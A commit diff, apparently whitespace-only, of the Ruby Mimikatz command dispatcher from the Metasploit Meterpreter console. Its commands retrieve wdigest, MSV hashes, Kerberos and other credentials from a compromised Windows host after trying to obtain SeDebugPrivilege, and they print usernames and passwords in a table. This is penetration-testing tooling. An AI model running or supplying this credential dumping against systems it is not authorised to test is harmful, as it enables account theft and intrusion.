@@ -17,162 +17,162 @@ module Ui
17
17
###
18
18
class Console ::CommandDispatcher ::Mimikatz
19
19
20
- Klass = Console ::CommandDispatcher ::Mimikatz
21
-
22
- include Console ::CommandDispatcher
23
-
24
- #
25
- # Initializes an instance of the priv command interaction.
26
- #
27
- def initialize ( shell )
28
- super
29
- if ( client . platform =~ /x86/ ) and ( client . sys . config . sysinfo [ 'Architecture' ] =~ /x64/ )
30
- print_line
31
- print_warning "Loaded x86 Mimikatz on an x64 architecture."
32
- end
33
- end
34
-
35
- #
36
- # List of supported commands.
37
- #
38
- def commands
39
- {
40
- "mimikatz_command" => "Run a custom commannd" ,
41
- "wdigest" => "Attempt to retrieve wdigest creds" ,
42
- "msv" => "Attempt to retrieve msv creds (hashes)" ,
43
- "livessp" => "Attempt to retrieve livessp creds" ,
44
- "ssp" => "Attempt to retrieve ssp creds" ,
45
- "tspkg" => "Attempt to retrieve tspkg creds" ,
46
- "kerberos" => "Attempt to retrieve kerberos creds"
47
- }
48
- end
49
-
50
- @@command_opts = Rex ::Parser ::Arguments . new (
51
- "-f" => [ true , "The function to pass to the command." ] ,
52
- "-a" => [ true , "The arguments to pass to the command." ] ,
53
- "-h" => [ false , "Help menu." ]
54
- )
55
-
56
- def cmd_mimikatz_command ( *args )
57
- if ( args . length == 0 )
58
- args . unshift ( "-h" )
59
- end
60
-
61
- cmd_args = nil
62
- cmd_func = nil
63
- arguments = [ ]
64
-
65
- @@command_opts . parse ( args ) { |opt , idx , val |
66
- case opt
67
- when "-a"
68
- cmd_args = val
69
- when "-f"
70
- cmd_func = val
71
- when "-h"
72
- print (
73
- "Usage: mimikatz_command -f func -a args\n \n " +
74
- "Executes a mimikatz command on the remote machine.\n " +
75
- "e.g. mimikatz_command -f sekurlsa::wdigest -a \" full\" \n " +
76
- @@command_opts . usage )
77
- return true
78
- end
79
- }
80
-
81
- unless cmd_func
82
- print_error ( "You must specify a function with -f" )
83
- return true
84
- end
85
-
86
- if cmd_args
87
- arguments = cmd_args . split ( " " )
88
- end
89
-
90
- print_line client . mimikatz . send_custom_command ( cmd_func , arguments )
91
- end
92
-
93
- def mimikatz_request ( provider , method )
94
- get_privs
95
- print_status ( "Retrieving #{ provider } credentials" )
96
- accounts = method . call
97
-
98
- table = Rex ::Ui ::Text ::Table . new (
99
- 'Header' => "#{ provider } credentials" ,
100
- 'Indent' => 0 ,
101
- 'SortIndex' => 4 ,
102
- 'Columns' =>
103
- [
104
- 'AuthID' , 'Package' , 'Domain' , 'User' , 'Password'
105
- ]
106
- )
107
-
108
- accounts . each do |acc |
109
- table << [ acc [ :authid ] , acc [ :package ] , acc [ :domain ] , acc [ :user ] , acc [ :password ] ]
110
- end
111
-
112
- print_line table . to_s
113
-
114
- return true
115
- end
116
-
117
- def cmd_wdigest ( *args )
118
- method = Proc . new { client . mimikatz . wdigest }
119
- mimikatz_request ( "wdigest" , method )
120
- end
121
-
122
- def cmd_msv ( *args )
123
- method = Proc . new { client . mimikatz . msv }
124
- mimikatz_request ( "msv" , method )
125
- end
126
-
127
- def cmd_livessp ( *args )
128
- method = Proc . new { client . mimikatz . livessp }
129
- mimikatz_request ( "livessp" , method )
130
- end
131
-
132
- def cmd_ssp ( *args )
133
- method = Proc . new { client . mimikatz . ssp }
134
- mimikatz_request ( "ssp" , method )
135
- end
136
-
137
- def cmd_tspkg ( *args )
138
- method = Proc . new { client . mimikatz . tspkg }
139
- mimikatz_request ( "tspkg" , method )
140
- end
141
-
142
- def cmd_kerberos ( *args )
143
- method = Proc . new { client . mimikatz . kerberos }
144
- mimikatz_request ( "kerberos" , method )
145
- end
146
-
147
- def get_privs
148
- unless system_check
149
- print_status ( "Attempting to getprivs" )
150
- privs = client . sys . config . getprivs
151
- unless privs . include? "SeDebugPrivilege"
152
- print_warning ( "Did not get SeDebugPrivilege" )
153
- else
154
- print_good ( "Got SeDebugPrivilege" )
155
- end
156
- else
157
- print_good ( "Running as SYSTEM" )
158
- end
159
- end
160
-
161
- def system_check
162
- unless ( client . sys . config . getuid == "NT AUTHORITY\\ SYSTEM" )
163
- print_warning ( "Not currently running as SYSTEM" )
164
- return false
165
- end
166
-
167
- return true
168
- end
169
-
170
- #
171
- # Name for this dispatcher
172
- #
173
- def name
174
- "Mimikatz"
175
- end
20
+ Klass = Console ::CommandDispatcher ::Mimikatz
21
+
22
+ include Console ::CommandDispatcher
23
+
24
+ #
25
+ # Initializes an instance of the priv command interaction.
26
+ #
27
+ def initialize ( shell )
28
+ super
29
+ if ( client . platform =~ /x86/ ) and ( client . sys . config . sysinfo [ 'Architecture' ] =~ /x64/ )
30
+ print_line
31
+ print_warning "Loaded x86 Mimikatz on an x64 architecture."
32
+ end
33
+ end
34
+
35
+ #
36
+ # List of supported commands.
37
+ #
38
+ def commands
39
+ {
40
+ "mimikatz_command" => "Run a custom commannd" ,
41
+ "wdigest" => "Attempt to retrieve wdigest creds" ,
42
+ "msv" => "Attempt to retrieve msv creds (hashes)" ,
43
+ "livessp" => "Attempt to retrieve livessp creds" ,
44
+ "ssp" => "Attempt to retrieve ssp creds" ,
45
+ "tspkg" => "Attempt to retrieve tspkg creds" ,
46
+ "kerberos" => "Attempt to retrieve kerberos creds"
47
+ }
48
+ end
49
+
50
+ @@command_opts = Rex ::Parser ::Arguments . new (
51
+ "-f" => [ true , "The function to pass to the command." ] ,
52
+ "-a" => [ true , "The arguments to pass to the command." ] ,
53
+ "-h" => [ false , "Help menu." ]
54
+ )
55
+
56
+ def cmd_mimikatz_command ( *args )
57
+ if ( args . length == 0 )
58
+ args . unshift ( "-h" )
59
+ end
60
+
61
+ cmd_args = nil
62
+ cmd_func = nil
63
+ arguments = [ ]
64
+
65
+ @@command_opts . parse ( args ) { |opt , idx , val |
66
+ case opt
67
+ when "-a"
68
+ cmd_args = val
69
+ when "-f"
70
+ cmd_func = val
71
+ when "-h"
72
+ print (
73
+ "Usage: mimikatz_command -f func -a args\n \n " +
74
+ "Executes a mimikatz command on the remote machine.\n " +
75
+ "e.g. mimikatz_command -f sekurlsa::wdigest -a \" full\" \n " +
76
+ @@command_opts . usage )
77
+ return true
78
+ end
79
+ }
80
+
81
+ unless cmd_func
82
+ print_error ( "You must specify a function with -f" )
83
+ return true
84
+ end
85
+
86
+ if cmd_args
87
+ arguments = cmd_args . split ( " " )
88
+ end
89
+
90
+ print_line client . mimikatz . send_custom_command ( cmd_func , arguments )
91
+ end
92
+
93
+ def mimikatz_request ( provider , method )
94
+ get_privs
95
+ print_status ( "Retrieving #{ provider } credentials" )
96
+ accounts = method . call
97
+
98
+ table = Rex ::Ui ::Text ::Table . new (
99
+ 'Header' => "#{ provider } credentials" ,
100
+ 'Indent' => 0 ,
101
+ 'SortIndex' => 4 ,
102
+ 'Columns' =>
103
+ [
104
+ 'AuthID' , 'Package' , 'Domain' , 'User' , 'Password'
105
+ ]
106
+ )
107
+
108
+ accounts . each do |acc |
109
+ table << [ acc [ :authid ] , acc [ :package ] , acc [ :domain ] , acc [ :user ] , acc [ :password ] ]
110
+ end
111
+
112
+ print_line table . to_s
113
+
114
+ return true
115
+ end
116
+
117
+ def cmd_wdigest ( *args )
118
+ method = Proc . new { client . mimikatz . wdigest }
119
+ mimikatz_request ( "wdigest" , method )
120
+ end
121
+
122
+ def cmd_msv ( *args )
123
+ method = Proc . new { client . mimikatz . msv }
124
+ mimikatz_request ( "msv" , method )
125
+ end
126
+
127
+ def cmd_livessp ( *args )
128
+ method = Proc . new { client . mimikatz . livessp }
129
+ mimikatz_request ( "livessp" , method )
130
+ end
131
+
132
+ def cmd_ssp ( *args )
133
+ method = Proc . new { client . mimikatz . ssp }
134
+ mimikatz_request ( "ssp" , method )
135
+ end
136
+
137
+ def cmd_tspkg ( *args )
138
+ method = Proc . new { client . mimikatz . tspkg }
139
+ mimikatz_request ( "tspkg" , method )
140
+ end
141
+
142
+ def cmd_kerberos ( *args )
143
+ method = Proc . new { client . mimikatz . kerberos }
144
+ mimikatz_request ( "kerberos" , method )
145
+ end
146
+
147
+ def get_privs
148
+ unless system_check
149
+ print_status ( "Attempting to getprivs" )
150
+ privs = client . sys . config . getprivs
151
+ unless privs . include? "SeDebugPrivilege"
152
+ print_warning ( "Did not get SeDebugPrivilege" )
153
+ else
154
+ print_good ( "Got SeDebugPrivilege" )
155
+ end
156
+ else
157
+ print_good ( "Running as SYSTEM" )
158
+ end
159
+ end
160
+
161
+ def system_check
162
+ unless ( client . sys . config . getuid == "NT AUTHORITY\\ SYSTEM" )
163
+ print_warning ( "Not currently running as SYSTEM" )
164
+ return false
165
+ end
166
+
167
+ return true
168
+ end
169
+
170
+ #
171
+ # Name for this dispatcher
172
+ #
173
+ def name
174
+ "Mimikatz"
175
+ end
176
176
end
177
177
178
178
end
0 commit comments